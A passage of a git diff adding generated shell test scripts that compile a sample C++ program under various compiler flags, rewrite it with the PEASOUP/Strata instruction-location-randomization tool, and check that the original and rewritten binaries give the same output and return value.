index 0000000000000000000000000000000000000000..b630fe8c6f5b7ec09bc67903244ac24bc409b4bc
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3   -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3   -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.no_pic.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.no_pic.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..8b1cf0cde41339f94875333252e824f17467d05d
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.no_pic.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3     -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3     -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.no_pic.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.no_pic.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..754b246499ec9a02aedb5a62615d3e98eb8c0308
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.no_pic.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3     -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3     -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.no_pic.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.no_pic.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..4a34b7135247e46cf3e5f0ead2a07862ff7c8994
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.no_pic.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3       -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3       -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.no_pic.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.no_pic.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..9b9943e6b35dcaa69e2e4f2d6b9d66a47dd9d044
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-O3.no_pic.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O3       -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O3       -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..67ff3fc706903f1a2de97771a6dcd79297a48bc6
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -Os -fPIC -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -Os -fPIC -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..43de050af3f84a19c2390825bc6b634564e83979
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
